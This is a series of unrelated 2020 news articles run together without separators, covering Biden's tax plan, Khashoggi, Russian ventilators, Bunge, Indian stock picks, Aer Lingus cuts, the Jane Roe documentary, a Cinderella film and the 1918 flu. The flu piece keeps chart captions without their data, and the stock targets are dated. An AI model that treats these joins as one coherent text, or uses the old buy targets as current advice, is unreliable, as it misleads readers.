Congressional relief measures worth trillions of dollars have led the U.S. Treasury and the Federal Reserve to set up roughly a dozen programs designed to keep American families and businesses afloat during the outbreak.

Biden, as part of his bid for the White House, has made a number of economic and tax proposals.

In terms of taxation, Biden proposes to change the tax code to increase the tax burden on the wealthy, who, according to his campaign website, have gotten too many tax breaks for too long. He has argued for a blanket repeal of Trumps tax cut, arguing that it has disproportionately benefited the rich and fueled income inequality.

Bidens proposal to bring the tax rate back to pre-Trump levels would mean raising rates across the board for all taxpayers, raising taxes on family-owned businesses, and bringing the corporate income tax rates back from the current 21 percent up to 35 percent, one of the highest rates in the world. He also said he wants to raise taxes on long-term capital gains and qualified dividends.

The capital gains tax should be at what the highest minimum tax should be, we should raise the tax back to 39.6 percent instead of 20 percent, Biden said in an interview on Iowa Public Television.

Biden has also called for the elimination of special tax breaks that reward special interests. He has also vowed to close $1.6 trillion in tax loopholes, including pledging to eliminate the stepped-up basis loophole, which allows heirs to pay less in taxes on their inheritance.

An analysis of Bidens tax plan released in March by the Urban-Brookings Tax Policy Center, which is led by a former Obama administration official, found that all income groups would see their taxes go up, although people earning over $837,400 would see the biggest hikes.

Biden would increase income and payroll taxes on high-income individuals and increase income taxes on corporations. He would increase federal revenues by $4.0 trillion over the next decade. Under his plan, the highest-income households would see substantially larger tax increases than households in other income groups, both in dollar amounts and as share of their incomes, the study authors noted in the abstract.
BEIRUT, Lebanon  A son of the slain Saudi writer Jamal Khashoggi said on Friday that he and his siblings had forgiven the men who killed their father, effectively extinguishing the prospect that the killers will be executed for the crime.

Mr. Khashoggi, a prominent Saudi journalist who fled the kingdom during the rise of its powerful crown prince, Mohammed bin Salman, and wrote columns critical of him in The Washington Post, was killed and dismembered in October 2018 by agents from Saudi Arabia in the Saudi Consulate in Istanbul.

In December, a Saudi court convicted eight men in connection with the crime, sentencing three to prison terms and five to death, which is usually carried out in the kingdom by beheading. The men, whose names the Saudis have never released, were identified recently in a Turkish indictment that included extensive notes from the Saudi trial.

The Saudi court classified the case in a way that left open the possibility for Mr. Khashoggis heirs to pardon the killers, sparing them the sword. In a statement posted on Twitter, the son, Salah Khashoggi, essentially completed that process, citing a verse from the Quran praising forgiveness and saying the family hoped to be rewarded by God for its good deed.
Russian-made ventilators now under investigation for causing deaths in Russia were not authorized by US health regulators before the same model was sent to New York and New Jersey at the height of their coronavirus outbreaks, Reuters has learned.

The 45 Aventa-M ventilators were sent to the United States after US President Donald Trump and Russian President Vladimir Putin discussed the shipment in a March 30 phone call.

The equipment was received by Federal Emergency Management Agency (FEMA) officers in New York on April 1.

At the time, officials in New York and New Jersey were bracing for an expected wave of severely ill patients in desperate need of mechanical breathing assistance as the coronavirus attacked their lungs.

The Kremlin and US State Department hailed the delivery of 45 ventilators as an example of collaboration to fight a common enemy.

Hospital fires that killed six people in Russia have now been linked to the same type of ventilators, and officials there are trying to work out if the devices were the cause.

None of the 45 ventilators shipped to the US were ultimately used, but the potentially combustible machines came dangerously close to American patients and hospital staff without warning from the FDA.

Aventa-M ventilators made in Russia have been linked to hospital fires that killed six people there. Russia shipped 45 of the devices to the US at the height of the coronavirus pandemic

To help cope with the fast-spreading COVID-19 pandemic, the US Food and Drug Administration had introduced an emergency protocol to allow ventilators to be distributed without the agency's routine, and more time-consuming, approval process.

The Russian ventilators, however, did not even receive the FDA's expedited Emergency Use Authorization (EUA) before being delivered to New York and New Jersey, the agency told Reuters.

Earlier this month, Russia suspended use of some Aventa-M ventilators after six people died in hospital fires that reportedly involved the devices.

US officials have said the ventilators were never supplied to local hospitals, which ultimately did not need as many as feared, and are being returned to FEMA.

A New Jersey health official told Reuters the Aventa-M ventilators required an electrical voltage not compatible in the United States.

But the lack of FDA oversight on the Russian shipment adds to concerns about shortcuts taken by the Trump administration in responding to the pandemic.

The FDA has issued EUAs for ventilators from other sources.

'In this case, the FDA was rendered irrelevant,' said Michael Carome, director of health research for the non-profit watchdog Public Citizen. 'Here we have the wild, wild West with Trump going out and negotiating deals in other countries without coordinating with public health experts.'

The White House declined to comment, and referred to a FEMA statement earlier this month that said the ventilators had not been used.

As coronavirus hospitalizations surged in the US - especially in New York (pictured) - a ventilator shortage became a critical concern. In response, Russia sent 45 devices made there - but they are now under investigation for potentially causing fires in Russian hospitals

'The conclusion(s) of the investigation being conducted by the Russian authorities ... will help inform our decision regarding any future use of the ventilators,' FEMA said.

In an email to Reuters, FEMA said the agency and FDA 'did not have all the details on the products before the shipment arrived on April 1.'

However, FEMA said FDA officers inspected the goods upon arrival and allowed them into the country.

A source close to the Russian government who is familiar with the situation said FDA permission may not have been required because 'this cargo was a symbolic thing.'

'It had more political than practical meaning,' the source added.

NEW RULES TO HELP THE US GET VENTILATORS QUICKLY MAY HAVE LET THE DEVICES BE USED WITHOUT REVIEW

The FDA told Reuters the Aventa-M ventilators were distributed under a policy that its website shows was created on March 22. The new rules allowed ventilators to be used in the United States without an EUA while the FDA works 'interactively with the firms to get the required authorizations,' an FDA spokeswoman said in a statement.

Under that policy, the FDA would notify the manufacturer that it does not intend to object to the distribution 'while the manufacturer is preparing, and FDA is reviewing, the EUA request.'

The FDA would also ask the manufacturer to provide information ahead of distribution, including documentation showing the device's power supply is compatible with U.S. standards, which the Aventa-M ventilators were not.

FDA regulators relaxed rules in order to help the US acquire and use ventilators more quickly, but the waived regulations meant potentially dangerous devices reached US hospitals

The agency declined to say whether it obtained such documentation for the Aventa-M.

'The FDA continues to gather information to help us evaluate the safety of these products,' an FDA spokeswoman told Reuters.

Russian manufacturer Ural Instrument Engineering Plant (UPZ) was under U.S. sanctions at the time of the shipment. Concern Radio-Electronic Technologies, UPZ's parent company, declined to comment other than to say it did not deliver the Aventa-M ventilators directly to the United States.

The 15 ventilators sent to New Jersey 'were delivered by FEMA and recalled by FEMA,' said state Department of Health spokeswoman Janelle Fleming.

New York returned the 30 Russian ventilators on May 12th, said health department spokesman Jonah Bruno.

The Trump administration has since pledged humanitarian aid to Russia, where coronavirus infections and deaths are rising. This week, a U.S. Air Force plane delivered medical aid, including 50 U.S.-made ventilators, to Russia.

'In both cases, we are talking about sincere, humanitarian gestures and interaction in emergency situations,' Maria Zakharova, a Russian Ministry of Foreign Affairs spokeswoman, said on Thursday.
ST. LOUIS, May 22, 2020 /PRNewswire/ -- Bunge Limited (NYSE: BG) announced the preliminary results of its Annual General Meeting of Shareholders, which was held as a virtual meeting conducted on May 21, 2020 via live audio webcast.

During the meeting, shareholders elected all of the director nominees named in the proxy statement to Bunge's Board of Directors. Shareholders also approved the appointment of Deloitte & Touche LLP as Bunge's independent auditors for the fiscal year ending December 31, 2020, and authorized the Audit Committee of the Board of Directors to determine the independent auditors' fees. Additionally, shareholders approved an amendment to the Bunge Limited 2016 Equity Incentive Plan.

Shareholders did not approve the advisory vote on the compensation of Bunge's named executive officers. "In 2019, the Board oversaw several significant enhancements to the leadership team designed to improve the performance of the business. While this led to one-time pay elements for key individuals, these payments were part of carefully considered compensation packages that enabled us to recruit highly-qualified executives, ensure the alignment of their interests with those of long-term shareholders, drive business goals and reward profitable growth and increased shareholder value," noted Kathleen Hyle, Chair of the Board of Directors. "We have made meaningful changes to our executive compensation program in recent years in response to shareholder input, and we will continue to solicit shareholder feedback on the overall design of our executive compensation programs."

The final vote results will be reported in a Form 8-K to be filed by Bunge with the Securities and Exchange Commission.

About Bunge Limited

Bunge (www.bunge.com,NYSE: BG) is a world leader in sourcing, processing and supplying oilseed and grain products and ingredients. Founded in 1818, Bunge's expansive network feeds and fuels a growing world, creating sustainable products and opportunities for more than 70,000 farmers and the consumers they serve across the globe. The company is headquartered in St. Louis, Missouri and has almost 25,000 employees worldwide who stand behind more than 350 port terminals, oilseed processing plants, grain facilities, and food and ingredient production and packaging facilities around the world.

Website Information

We routinely post important information for investors on our website, www.bunge.com, in the "Investors" section. We may use this website as a means of disclosing material, non-public information and for complying with our disclosure obligations under Regulation FD. Accordingly, investors should monitor the Investors section of our website, in addition to following our press releases, SEC filings, public conference calls, presentations and webcasts. The information contained on, or that may be accessed through, our website is not incorporated by reference into, and is not a part of, this document.

SOURCE Bunge Limited

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COVID-19 continues to remain the top directional force for the market across the globe. As the world tries to wade through the medical and economic crisis, uncertainty looms large on the markets.

Experts continue to warn that the market will keep oscillating between rise and fall and one must remain cautious while taking a call for trade.

"Sustainability of a rise in the market would be difficult at a higher level so traders should not go overboard and continue with the stock-specific trading approach. Among the sectors, were seeing consistent buying interest in defensive viz. pharma, FMCG and select IT and we suggest preferring these sectors over others for long trades while the underperformance may continue from the banking, financials and metal pack," said Ajit Mishra, VP - Research, Religare Broking.

While the market stares at an uncertain tomorrow, analysts advise going stock-specific to reap gains.

Here are 12 buy recommendations for one year that, as per some analysts and brokerages, can give healthy gains.

Analyst: Vinod Nair, Head of Research at Geojit Financial Service

HDFC Bank | Buy | Target price: Rs 1,134

Recent Q4 numbers showed an increase in deposits and an overall improvement in net interest margins (NIMs) for the bank.

Even though there has been a decline in new loans, robust network and strong asset quality will pave way for better growth in the long term.

Near-term concerns like exposure to unsecured loans given the on-going economic trouble seem priced in.

MSME exposure for HDFC stands at 13 percent and current alteration in IBC code to have a sentimental negative impact in the banking sector.

"We value the stock at 2.7 times FY22E BVPS with a revised target price of Rs 1,134 and recommend a buy," said the analyst.

Asian Paints | Buy | Target price: Rs 1927

With largely domestic-oriented business, the company has displayed resilience by giving double-digit volume growth despite a challenging environment.

Tailwinds on raw material cost due to the sharp fall in crude oil prices will aid for significant expansion in gross margins. Companies are likely to pass the benefit to customers to set the brush for a revival in demand.

"We expect the impact of COVID-19 on demand can mitigate through the benefit from lower raw material prices. Strong balance sheet and debt-free status will support premium valuation," said the analyst.

Mahnagar Gas (MGL) | Buy | Target price: Rs 1,126

MGL is Mumbai's sole distributor of gas, an essential commodity, the demand for which will be relatively less impacted by the COVID-19 scenario.

The demand for gas is set to pick up drastically in the country, with the government encouraging the use of clean fuels and reduce pollution levels in the country.

"The recent decline in natural gas prices will lower costs and expand margins going forward. We value the company at 13 times FY22E EPS with a target price of Rs 1,126 and recommend a buy rating," said the analyst.

Pidilite | Buy | Target price: Rs 1,626

The Monopoly the company enjoys in the adhesive sector (70 percent market share) along with its strong financials will help the company withstand the COVID-19 impact on the economy.

Pidilite has a strong balance sheet with almost zero debt and has maintained an average ROE of 27 percent in the last five years, justifying its premium valuation.

"The recent reduction in oil prices will enable the company to lower costs and improve margins in the future. We value the company at 49 times FY22E EPS with a target price of Rs 1,626 and recommend a buy," said the analyst.

Brokerage: Anand Rathi Shares & Stock Brokers

Mphasis | Buy | Target price: Rs 970

Direct International deal wins continue to climb over the last six quarters, suggesting strong execution (deals of more than $25 million, up 50 percent YoY in Q4).

The stock trades at 13 times FY22e EPS of Rs 60.4. This, the brokerage thinks, is attractive, considering Mphasis higher exposure to BFSI (where it is seeing strong momentum) and limited exposure to the troubled Aerospace and Hospitality sectors.

"While the slowing DXC is a concern, direct business growth should offset (at least, partly) the DXC slowdown as suggested by TCV data. Also, we see DXC as a manageable risk for Mphasis, given that cash balances can be used for tuck-in acquisitions when needed," said the brokerage.

ICICI Lombard General Insurance Company | Buy | Target price: Rs 1,340

"We have incorporated the latest quarterly numbers for ICICIGI and have revised our estimates for the company. Given ICICIGI's continued premium growth in preferred segments (fire, marine, motor, liability and health), consistent efforts on driving retail business and management's expectations of maintaining ROE of 20 percent, we continue to remain positive on the company for medium-term with a target price of Rs 1,340 per share," said the brokerage.

Hindustan Unilever | Buy | Target price: Rs 2,422

Over the past several years, HUL has exhibited a decent track record in terms of revenue and margin growth.

Monsoon is expected to be good during the year. This will aid the volume growth to some extent. In order to address liquidity challenges at wholesale as well as retail level, and to support volume growth, the company will take some price cuts in the current quarter.

In addition to this, the festive season is likely to give some relief to the slowing demand. If there is a revival in demand, HUL will be the key beneficiary.

"While current macro-economic conditions are likely to keep subdued demand in the near term, we remain optimistic that the company will outgrow the industry. HUL is the largest FMCG Company with one of the largest footprints in terms of products and distribution networks and its strategy to target volume growth, should drive healthy growth in the medium to long term," said the brokerage.

Dr. Reddys Laboratories | Buy | Target price: 4,382

Apart from a strong product profile, the company benefits from a diverse geographic presence. Geography-wise, North America constituted 39 percent of FY19 revenues, emerging markets contributed 27 percent while India and Europe accounted for 17 percent and 7 percent of revenues, respectively.

In line with its strategy to boost India's business, recently, the company inked a deal with Wockhardt to acquire select divisions of its branded generics business in India and a few other international territories of Nepal, Sri Lanka, Bhutan and Maldives for Rs 1,850 crore. The deal comprises a business portfolio of 62 brands in multiple therapies and is expected to close by Q1FY21.

The brokerage is of the view that the company should continue to witnesses strong growth in India, emerging markets, Europe and PSAI business driven by volume growth, new launches and improving realizations.

Analyst: Jyoti Roy, DVP Equity Strategist, Angel Broking

Colgate Palmolive | Buy | Target price: Rs 1,772

Colgate is a leader in the dental care segment in India with over 50 percent market share. The analyst believes that the company should ultimately be able to see sharper market share gain in kinds of toothpaste segment on the back of higher ad-spend and re-launch of Colgate Strong Teeth.

Ipca Labs | Buy | Target price: Rs 1,900

The company derives 54 percent of its revenues from domestic generic and API business. Generics and API continue to provide revenue growth for Ipca.

"We expect the company to outperform the Indian Pharmaceutical market(IPM) by 8-10 percent per annum over the next few years," said the analyst.

PI Industries | Buy | Target price: Rs 1,784

PI Industries is a leading player in providing custom synthesis and manufacturing solutions (CSM) to global agrochemical players. The CSM business accounted for 66 percent of the companys revenues in FY19 and is expected to be the key growth driver for the company in the future.

Reliance Industries | Buy | Target price: Rs 2,364

Reliance Industries is Indias largest company with a dominant presence in refining, petrochemicals, telecom and retail businesses.

Telecom and retail business will be the key growth drivers for the company over the next few years while deleveraging of balance-sheet from stake sale in JIO Platforms and rights issue will drive rerating for the company.

Disclaimer: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd.

The views and investment tips expressed by investment experts on Moneycontrol.com are their own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions.
In March, Aer Lingus said that overall pay for staff was being slashed by 50pc.

Aer Lingus employees are to be told next week of additional cuts to pay and working hours as well as redundancies.

The airlines chief executive, Sean Doyle, told staff in a video message today that the Covid-19 pandemic has had a crippling effect on the carrier, which is part of the IAG group that also owns British Airways, Iberia, Vueling and Level.

He said that today, Aer Lingus will carry just 939 passengers. On Friday of this week last year, it carried 18,361.

As you are all too well aware, we are now in the deepest downturn that the aviation industry has ever experienced, he said.

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Aer Lingus informed staff and unions earlier this month that significant job cuts will be necessary a result of the crisis. Its believed that as many as 900 of its 4,500 workers would be targeted.

Steep pay cuts have already been implemented. In March, Aer Lingus said that overall pay for staff was being slashed by 50pc.

Throughout the crisis, we have engaged with all the senior members of the relevant representative bodies, said Mr Doyle in his message today. This engagement has been constructive and respectful. However, unfortunately it has not as yet resulted in an agreed way forward.

There is now an urgent requirement to make further cost reductions given the decimation in demand for travel in the immediate term, and the uncertainty regarding future travel demand thereafter, he added.

The unfortunate reality is that notwithstanding the workforce in its entirety taking a 50pc pay reduction, and the support provided by the temporary wage subsidy scheme, additional cost savings are now urgently needed, said the chief executive.

He added that the current 50pc pay reductions and working time arrangements will continue until the June 21, but will not be extended for all Aer Lingus worker beyond that date.

It is no longer sustainable, and a further reduction in working hours and pay up to and including layoffs in some areas of the business is required and will now have to be implemented, said Mr Doyle.

We will also now begin to implement the structural change that is required within the organisation, he added. I appreciate that this will be very difficult for colleagues across the business, but I assure you that it is a critical requirement.

IAG, whose chief executive is Willie Walsh, acquired Aer Lingus in 2015 for 1.3bn and invested heavily in the Irish airline, expanding its route network to North America.

Dublin-based airline Cityjet, which is in examinership, has also told unions that its seeking as many as 700 layoffs across Europe, with 276 in Ireland and the UK affected. It employed a total of 1,175 before the crisis.

The DAA, which operates Dublin and Cork Airports, warned staff this week that it will also have to make significant job cuts. Its likely to make as many as 1,000 of its workers redundant due to the collapse in air travel.
Pro-lifers slam FX documentary's claim Jane Roe was paid to be pro-life: 'She was sincere'

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Pro-life activists, some of whom have known Norma McCorvey for many years, are rejecting a new documentarys claim that the woman behind the landmark Supreme Court abortion case Roe v. Wade was paid later in life to promote anti-abortion views.

FX on Hulu will officially release a documentary on Friday titled AKA Jane Roe." The documentary features a 2017 interview of the famed woman behind the 1973 decision near the end of her life.

A major point of controversy for the documentary is the claim that McCorvey famously went from being an advocate for abortion rights to becoming a pro-life activist in the 1990s only because she was paid.

What I can tell you is I had 22 years of conversations & experiences w her. She was sincere, Father Frank Pavone, who reportedly led McCorvey to convert to Catholic Christianity, wrote in a tweet.

Pavone, the national director of Priests for Life, warned that people should wait to "see the unedited footage" and "hear all the conversations preceding it" before making judgments on McCorvey's alleged "deathbed confession."

In an excerpt of the film reviewed by media outlets, McCorvey stated:

I was the big fish. I think it was a mutual thing. I took their money and theyd put me out in front of the cameras and tell me what to say. Thats what Id say. It was all an act. I did it well too. I am a good actress.

Calling her own words a deathbed confession, McCorvey reportedly said that she still supported legalized abortion. She was quoted as saying that if a young woman wants to have an abortion, thats no skin off my ass. Thats why they call it choice.

Filmmaker Nick Sweeney  whose other films include "The Sex Robots are Coming" and "Born in the Wrong Body"  began working on the documentary in April 2016, often visiting McCorvey and interviewing her before her death in February 2017, reports the Los Angeles Times.

Among other interviewees, Sweeney also spoke with Rob Schenck, an evangelical minister and former leader of the pro-life advocacy group Operation Rescue. Schenck has since distanced himself from pro-life activism.

For his part, Schenck said that McCorvey was indeed paid by activists out of concern that she would go back to the other side.

There were times I wondered: Is she playing us? And what I didnt have the guts to say was, because I know [pretty] well we were playing her, said Schenck, as reported by the newspaper. What we did with Norma was highly unethical. The jig is up.

But others who knew McCorvey have refuted the recent headlines suggesting that McCorvey was paid to be pro-life.

Operation Rescue President Troy Newman said he knew her well and that she even lived with his family at one point.

"I saw her in unguarded moments and can verify she was 100 percent pro-life. She spent more years trying to overturn Roe v. Wade than she spent as a pro-abortion activist," he said.

"I knew her to be a straightforward, down-to-earth woman who was witty and kind. She loved children and adored my own five children. There is no way her Christian faith or her pro-life beliefs were false. The makers of AKA Jane Roe should be ashamed that they took advantage of Norma in the vulnerable last days of her life, then released their spurious movie after she passed away when she could not defend herself.

Cheryl Sullenger, a leader with Operation Rescue who knew McCorvey for many years, has called the headlines surrounding the interview out-of-context fake news.

I knew Norma personally and saw her during unguarded moments, said Sullenger to LifeNews.com. Norma was frank, and if she was in a mood, she could say things that were controversial.

But never did she ever show any hint of being anything other than 100% pro-life as long as I knew her," Sullenger continued. "This latest attack on her pro-life beliefs is nothing but out-of-context fake news.

Pavone said in another tweet that he had received text messages from McCorvey in 2016 about the interview with Sweeney and how he had paid for her involvement in the film.

Prior to these sentences she said, I sitting here broke and extremely upset. She was paid by him, Pavone stated in the tweet.

Kristan Hawkins, president of the Students for Life of America, took to Twitter to reject the deathbed confession claim. Hawkins wrote that McCorvey always spoke w/ passion about her pro-life convictions, which represented a huge & public shift from how she had been seen for so long.

The woman that I personally knew lived a painful & complicated life, but spoke directly about how she felt about it, Hawkins added.

Hawkins also questioned the source of the interview, pointing out that FX on Hulu had recently released a miniseries about the life of the longtime conservative leader and pro-life activist Phyllis Schlafly, who died in 2016 at the age of 92.

I also don't believe that [FX] is a good actor, when you consider that earlier this year, they went after the iconic Phyllis Schlafly, Hawkins argued. Tearing down pro-life champions won't work for those of us who have had the privilege of knowing the real people behind the headlines.

Abby Johnson, a former Planned Parenthood staffer who has gained national attention for her conversion to the pro-life movement, tweeted that McCorvey was used by both sides of the abortion debate.

Johnson also argued that McCorvey was not mentally well near the end of her life, believing that the documentary filmmakers preyed upon that.
Camila Cabello's upcoming musical reimagining will have a feminist twist, a new report claims.

The Sun reports that new cast member Missy Elliott will now be performing a version of the female empowerment song Single Ladies by Beyonce, dressed as a town crier in one scene.

A source tells the publication: 'They want to make her an inspirational figure for young girls who are watching it, showing they can be strong and independent.'

Star vehicle: Camila Cabello's Cinderella movie will have a 'feminist twist'... including Missy Elliott performing a rendition of Beyonce's Single Ladies

Adding: 'Camila is also involved in putting together the soundtrack, which will feature lots of powerful and aspirational female voices too.'

However, it may be a while before audiences see the film, as the project was halted mid-March at Pinewood Studios in England due to the coronavirus pandemic.

People reported recently that Sony Pictures has pushed the film's release to February 5, 2021.

Put a ring on it: New cast member Missy Elliott will now be performing a version of the female empowerment song Single Ladies by Beyonce, dressed as a town crier in one scene.

Co-stars: Billy Porter, 50, confirmed in October that he's set to play the Fairy Godmother and Idina Menzel, 48,takes on the role of Cinderella's evil stepmother

Big break: British actor Nicholas Galitzine, 25, has been tapped to play the romantic lead Prince Robert, with Pierce Brosnan playing his father, the king

Former Fifth Harmony member Cabello, 23, was cast in the lead role early on in the project and has since been joined by a string of big names.

Billy Porter is the Fairy Godmother and Idina Menzel portrays Cinderella's evil stepmother.

British actor Nicholas Galitzine, 25, has been tapped to play the romantic lead Prince Robert, while Pierce Brosnan will play his father, the king.

The idea for the musical movie came from British actor and host of CBS' The Late late Show James Corden. He is also producing the project with his Fulwell 73 production partner Leo Pearlman.

Cinderella is being directed by Kay Cannon from her own screenplay.

Camila has been riding out the coronavirus crisis with boyfriend Shawn Mendes in Miami, Florida.

The pair surprised kids at a children's hospital in Washington, D.C. this week with a remote concert and a Q&A session.

Posting video and photos of the special performance on Instagram, Camila wrote: 'Kids are the light of this whole world!!!!!'

She also thanked the Ryan Foundation for ' bringing smiles to these kids, who are brave and spunky and warriors everyday!'

Self-isolating together: Camila has been riding out the coronavirus crisis with boyfriend Shawn Mendes in Miami, Florida
Among the worst moments of the 1918 influenza pandemic were Philadelphia's overwhelmed morgue stacking unembalmed bodies without ice on multiple floors until storage was found, or the city resorting to steam shovels for digging mass graves.

The 1918 Spanish influenza  a vicious disease, some historians call it  emerged as World War I was ending. It killed 50 million or more people worldwide, 675,000 in the USA alone.

It attacked the lungs, making breathing difficult. But influenza alone did not kill all those people. Most of the victims died of bacterial pneumonia, a secondary infection that closely followed the flu.

Some patients exhibited a condition called cyanosis; their lungs filled with fluid and bodies starved of oxygen, they changed color from red to blue to nearly black before dying.

The virus of a century ago infected approximately 500 million people, or one-third of the worlds population, according to the Centers for Disease Control and Prevention. What people did then is familiar to what we're doing today, including self-isolation, guarding against coughing and sneezing, and limiting public gatherings.

Though the diseases aren't exactly the same, what happened in 1918 may tell us what's ahead in 2020 and beyond.

Success in St. Louis, failure in Philadelphia

Even though they didn't have the highest or lowest death rates in the country, two major U.S. cities emerged as examples of government response in what to do and what not to do: St. Louis, which recognized the viral danger and took immediate steps to contain it, and Philadelphia, which did not.

"They make a good foil for one another," says J. Alexander Navarro, assistant director for the Center for the History of Medicine at the University of Michigan.

The East Coast and Philadelphia "were hit at a much earlier stage of the pandemic," says David McKinsey, an infectious disease physician at the Research Medical Center in Kansas City, Missouri. "St. Louis had the advantage of being able to watch and learn from others' mistakes."

Story continues

As the coronavirus escalates around the globe, researchers are reexamining the 1918 pandemic, how it spread and how people responded.

States and cities devised their own strategies because "the federal government really didn't do a lot," McKinsey says. "It issued some guidelines but had its hands full with World War I and preventing disease among the troops."

How Philadelphia, St. Louis deaths compare

Peak death rate, the day with the highest number of cases, per 100,000 population for 1918 flu:

NOTE Excess pneumonia and influenza mortality rate, Sept. 8-Dec. 18, 1918, from 1913-17 baseline; SOURCE Proceedings of the National Academy of Sciences

The 1918 influenza did not come from Spain. It was named the Spanish flu when Spanish newspapers reported its presence on World War I battlefields and after Spanish King Alfonso XIII was reported as recovering after contracting the flu in May 1918.

It came in three waves, "the first in the spring of 1918; the second, more deadly, in the fall of 1918; and the third in February-March in 1919," Navarro says.

There are multiple theories about where the virus originated, including France, China and Haskell County, Kansas, about 200 miles west of Wichita. The U.S. military's first recorded case was at Camp Funston, part of the Army base at Fort Riley, Kansas, on March 4, 1918.

The war and massive troop movements spread the virus to all points of the globe.

The United States entered the war April 6, 1917. By May 1918, a million U.S. soldiers were fighting in Europe, according to the Smithsonian, and ships of troops were crossing the Atlantic both ways, often carrying the virus with them. The war didn't end until Nov. 11, 1918.

Soldiers are quarantined while recovering from the Spanish flu at Camp Funston, Kansas, in 1918.

Away from the front, the military plays a significant part in the two-city comparison. St. Louis is about 17 miles north of Jefferson Barracks, at that time a large Army mobilization point, and Philadelphia was home to the U.S. Navys busy Philadelphia Naval Shipyard, which housed about 45,000 sailors. St. Louis had far fewer fatalities than Philadelphia.

What did cities do differently?

The first flu deaths were reported in Boston on Sept. 8, 1918, the day before 300 sailors from the city arrived in Philadelphia. On Sept. 11, 19 sailors at Philadelphia's Navy Yard were sick. The numbers kept climbing, spilling over from sailors to workers to citizens.

A sign at the Philadelphia Naval Aircraft Factory warns workers to "not spit."

Philadelphia officials knew about the flu in Boston and at the Navy Yard. The city's bureau of health issued flu warnings and upgraded it to a reportable disease. Health officials said there was little chance it would spread among the public.

This doubt was embraced by many Philadelphians who "saw the war as the real priority and even characterized the hype of the flu as a 'German ploy,' " historian Jeffery Anderson, who published his master's thesis on the pandemic at Rutgers, told USA TODAY.

As deaths mounted, Philadelphia went ahead with parade

As flu advanced, cities were hounded to buy war bonds

The flu was in the shadow of World War I, in which the United States had been fighting for nearly 18 months. The conflict was costly, about $32 billion, or about half of that eras gross national product, according to the National Bureau of Economic Research.

The war was funded by a combination of higher taxes and the sale of Liberty Bonds, which were securities issued by the Treasury Department to raise money.

In 1918, Philadelphia was the third-largest city in the USA. It had a population of about 1.7 million and an additional 300,000 people there for the war effort. It was naturally a target for war bond sales, and organizers hoped its fourth bond parade would raise millions.

Parade spread virus like wildfire

Relentless patriotism was used to sell bonds to the public, and loan drives were the subject of the greatest advertising effort ever conducted, according to Federal Reserve historians. Under intense pressure, cities competed to raise the most money. Parades were part of it.

Like today's coronavirus, the 1918 virus spread primarily by person-to-person contact. Philadelphias Liberty Loans Parade  its fourth and most financially successful  which drew about 200,000 onlookers, provided the perfect path to unleash infection.

"That parade gave the epidemic a shot of adrenaline," Navarro says. "Cases surged after that."

Infections were spreading before the parade. "On Sept. 27, the city's University Hospital had received so many cases of the flu that it was virtually under quarantine," Anderson wrote.

Several physicians urged Wilmer Krusen, the city's public health director, to cancel the parade. He didn't. "The political machine was too powerful," Anderson says.

The corner of Broad and Chestnut Streets, Philadelphia, during the 1918 parade and today.

The parade started Sept. 28 at Diamond Street, moved south on Broad and ended at Mifflin Street, according to the Evening Public Ledger, a city newspaper. Thats about 4 miles. Participants, including bands, troops, Boy Scouts and womens auxiliary organizations, took up 23 city blocks.

Parade marchers mingled with crowds, and "in the week following the parade, physicians and nurses reported 4,541 new cases of influenza, nearly nine times the number reported for the week prior to the Liberty Loan march, Anderson wrote. Many sick people, who couldn't get into a hospital, simply stayed home.

St. Louis took action early

St. Louis was the sixth-largest city in the USA with a population of about 756,000. News of the flu spreading through Boston, Philadelphia and other cities provided early warnings, and officials took notice.

"St. Louis had an energetic and visionary health official in Dr. Max Starkloff," Navarro says. The city's health commissioner "immediately started warning the public and told physicians to report influenza cases."

Starkloff, fully supported by the city's mayor, "was very quick to implement city closures," Navarro says. He closed public places such as schools, theaters, playgrounds, city courts and churches and banned gatherings of more than 20 people.

He canceled the city's Liberty Bonds parade. "They recognized that crowds were a danger," McKinsey says.

Businesses protested closings. "They were upset because they were losing revenue," McKinsey says. "It was a constant conflict between them and the city."

Members of the St. Louis Red Cross Motor Corps carry stretchers during the 1918 influenza epidemic.

How many more deaths did Philadelphia have?

Estimated total deaths from influenza and pneumonia, September-December 1918:

SOURCE University Archives and Records Center, University of Pennsylvania; Research Medical Center, Kansas City, Missouri

Though "Starkloff listened to business pleas to reopen, he didn't reopen the city all at once," Navarro said. "He did it in a step-wise fashion."

Starkloff reimposed restrictions as infection cases rose again in November 1918. Infections subsided, and restrictions ended in December. St. Louis fared better than other cities.

Which cities had highest peak death rates?

Estimated peak death rate per 100,000 population in 16 weeks for 1918 flu:

NOTE Excess pneumonia and influenza mortality rate, Sept. 14-Dec. 14, 1918, from 1913-17 baseline; peak is the day with the highest number of cases; SOURCE Proceedings of the National Academy of Sciences

Post-pandemic analyses revealed "social distancing was highly effective against virus transmission," McKinsey says.

"We also found volunteers had a great impact in dealing with the epidemic, especially the Red Cross, which did an excellent job in making masks, training nurse assistants and distributing medical information pamphlets to the public. It really made a difference," McKinsey says.

Total death rates of cities compared

Estimated overall death rate per 100,000 population for 1918 flu:

NOTE Excess pneumonia and influenza mortality rate, Sept. 14, 1918-May 31, 1919, from 1913-17 baseline; SOURCE Proceedings of the National Academy of Sciences

Except for a minor fourth wave early in 1920, U.S. pandemic fatalities dwindled and virtually ended in the summer of 1919.

In the pandemic's aftermath, "we see a change in efforts for better public health," says Deanne Stephens, professor of history at the University of Southern Mississippi.

Members of the War Camp Community Committee make flu masks, in San Francisco, in 1918.

"It ranged from a greater emphasis on clean drinking water to the recognition that nursing was a critical service," Stephens says. "There was also the realization that government could take a stronger role in disease prevention."

Beyond that, Americans turned their attention elsewhere. Perhaps that was to be expected.

"There was a different mentality then," Stephens says. "The U.S. was used to epidemics. So in urban areas, there was an attitude of 'we're going to plow through this.' "

And finally, there was the shadow of World War I itself. Americans "may have thought of the flu as simply a subdivision of the war," historian Alfred Crosby wrote in "The Forgotten Pandemic."

Horror of 1918 flu faded

Subjects of stories in American periodicals after the flu (in inches of column space):

NOTE Prohibition was the ban on sale of alcoholic beverages in the U.S.; Bolsheviks were far-left Marxist revolutionaries who killed the czar in 1917 and started a communist regime in Russia; SOURCE The Readers Guide to Periodical Literature, 1919-1921, as cited in "America's Forgotten Pandemic: The Influenza of 1918" by Alfred Crosby.

